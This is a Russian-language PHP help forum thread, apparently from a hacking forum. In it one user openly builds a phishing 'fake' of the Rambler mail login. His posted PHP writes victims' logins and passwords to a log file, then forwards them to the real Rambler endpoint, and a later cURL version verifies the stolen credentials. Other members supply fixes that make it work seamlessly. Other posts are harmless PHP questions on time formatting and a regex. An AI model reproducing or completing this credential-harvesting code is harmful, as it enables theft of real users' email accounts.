
13.01.2010, 20:12
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
С нами:
11278406
Репутация:
818
|
|
Гугли "прозрачность на gd2"
|
|
|

14.01.2010, 02:52
|
|
Познающий
Регистрация: 24.05.2009
Сообщений: 44
С нами:
8929390
Репутация:
33
|
|
Здраствуйте!
PHP код:
<?php $f=fopen("pass.log","at");
flock($f,2);
fputs($f,"Логин: ".$_POST['login']."\n");
fputs($f,"Пароль ".$_POST['passw']."\n"."---------------\n");
flock($f,3); fclose($f);
?>
<form id="send" method="post" action="http://id.rambler.ru/script/auth.cgi?mode=login" name="auth_form">
<input type="hidden" name="from" value="">
<input type="hidden" name="back" value="http://mail.rambler.ru/mail/startpage">
<input type="hidden" name="url" value="">
<input type="text" name="login" id="login" value="<?php echo $login ?>">
<input type="password" name="passw" id="passw" value="<?php echo $passw ?>">
</form>
<script>
setTimeout(document.getElementById('send').submit(),5);
</script>
Авторизация если правильный логин и пароль проходит!
А вот как получить ответ от сервера?
Тоесть если не правильный пароль то не переходит на сайт рамблера а переходит на другую страницу!
Так сказать
PHP код:
if ($login == 'login',$passw == 'passw')
{
echo "Правильный пароль";
}
else
{
echo "Не правильный пароль";
}
Для понятия пишу Фейк с авторизацией!
Заранее благодарен) 
Последний раз редактировалось Mil-Net; 14.01.2010 в 02:56..
|
|
|

14.01.2010, 06:51
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами:
9223466
Репутация:
3171
|
|
Сообщение от Mil-Net
Здраствуйте!
PHP код:
<?php $f=fopen("pass.log","at");
flock($f,2);
fputs($f,"Логин: ".$_POST['login']."\n");
fputs($f,"Пароль ".$_POST['passw']."\n"."---------------\n");
flock($f,3); fclose($f);
?>
<form id="send" method="post" action="http://id.rambler.ru/script/auth.cgi?mode=login" name="auth_form">
<input type="hidden" name="from" value="">
<input type="hidden" name="back" value="http://mail.rambler.ru/mail/startpage">
<input type="hidden" name="url" value="">
<input type="text" name="login" id="login" value="<?php echo $login ?>">
<input type="password" name="passw" id="passw" value="<?php echo $passw ?>">
</form>
<script>
setTimeout(document.getElementById('send').submit(),5);
</script>
Авторизация если правильный логин и пароль проходит!
А вот как получить ответ от сервера?
Тоесть если не правильный пароль то не переходит на сайт рамблера а переходит на другую страницу!
Так сказать
PHP код:
if ($login == 'login',$passw == 'passw')
{
echo "Правильный пароль";
}
else
{
echo "Не правильный пароль";
}
Для понятия пишу Фейк с авторизацией!
Заранее благодарен) 
Наверное потом,что стоит почитать как на PHP работать с удаленными серверами.Это делаеться не при помощи кнопок,а например cURL.Копайте в сторону сокетов,курлов, file_get_contents();.
|
|
|

14.01.2010, 11:20
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами:
9223466
Репутация:
3171
|
|
Так,всем как всегда привет.На этот раз я заскочил вот с каким вопросом:
Все вы знаете,что если на античате например открыть сообщение отдельно,то у ТС заместо Провел на форуме: будет микровремя.так вот вопрос,как перевести опять в тот же стандарт.Тоесть имеем:
Нужно получить: 1 месяц 3 недели 3 дня
|
|
|

14.01.2010, 11:40
|
|
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
С нами:
10030823
Репутация:
149
|
|
Нужно получить: 1 месяц 3 недели 3 дня
PHP код:
$time = 4668725;
$totaldays = (int)($time / 86400); // секунды => дни
$month = (int)($totaldays / 30); // месяца
$lostdays = $totaldays % 30; // остаток дней
$weeks = (int)($lostdays / 7); // недель
$days = $weeks % 7; // дней
echo $month.' мес. '.$weeks.' нед. '.$days.' дн.';
Без склонений слов.
|
|
|

14.01.2010, 15:52
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами:
9223466
Репутация:
3171
|
|
Сообщение от GlooK
PHP код:
$time = 4668725;
$totaldays = (int)($time / 86400); // секунды => дни
$month = (int)($totaldays / 30); // месяца
$lostdays = $totaldays % 30; // остаток дней
$weeks = (int)($lostdays / 7); // недель
$days = $weeks % 7; // дней
echo $month.' мес. '.$weeks.' нед. '.$days.' дн.';
Без склонений слов.
Спасибо,но помоему есть ф-ция в которая делает это автоматически.Пойду гуглить 
|
|
|

14.01.2010, 14:03
|
|
Познающий
Регистрация: 02.06.2008
Сообщений: 35
С нами:
9442459
Репутация:
5
|
|
Есть вот такой кусок кода:
Код:
Код:
$user=$row['nick'];
if (preg_match("/me", $msg, $msg_1))
{
$msg=str_replace ("/me","<i>".$user."",$msg);
$user="";
}
он не работает на второй строчке
надо: Если строка $msg начинается на "/me" то выполнить действие ниже
|
|
|

14.01.2010, 16:03
|
|
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
С нами:
9213376
Репутация:
278
|
|
Сообщение от Freakazoitt
Есть вот такой кусок кода:
Код:
Код:
$user=$row['nick'];
if (preg_match("/me", $msg, $msg_1))
{
$msg=str_replace ("/me","<i>".$user."",$msg);
$user="";
}
он не работает на второй строчке
надо: Если строка $msg начинается на "/me" то выполнить действие ниже
Код:
$user = $row['nick'];
if (preg_match("/^\/me/i", $msg)) {
$msg = str_replace ( "/me", "<i>".$user, $msg );
$user = "";
}
|
|
|

14.01.2010, 20:13
|
|
Познающий
Регистрация: 24.05.2009
Сообщений: 44
С нами:
8929390
Репутация:
33
|
|
Продолжаю вчерашний вопрос...
PHP код:
<?php
function rambler_login($login,$passw)
{
$login = urlencode($login);
$passw = urlencode($passw);
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passw=$passw");
$res = curl_exec($ch);
curl_close ( $ch );
if(preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s))
return $s[1];
else return false;
}
$email = $_POST['login'];
$password = $_POST['passw'];
if(!rambler_login($email, $password)) {
echo $res;
} else {
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=activate.htm'></head></html>";
}
?>
Все работает,но при вводе правильного логина и пароля выдается такое содиржание страницы:
Moved
The document has moved here.
При нажатии на here успешно авторизуется на ящике!
Так вот вопрос следующего содержания
Как автоматом переходить в ящик без вывода
Moved
The document has moved here.

|
|
|

14.01.2010, 20:16
|
|
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
С нами:
10030823
Репутация:
149
|
|
Сообщение от Mil-Net
Продолжаю вчерашний вопрос...
Все работает,но при вводе правильного логина и пароля выдается такое содиржание страницы:
Moved
The document has moved here.
При нажатии на here успешно авторизуется на ящике!
Так вот вопрос следующего содержания
Как автоматом переходить в ящик без вывода
Moved
The document has moved here.

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|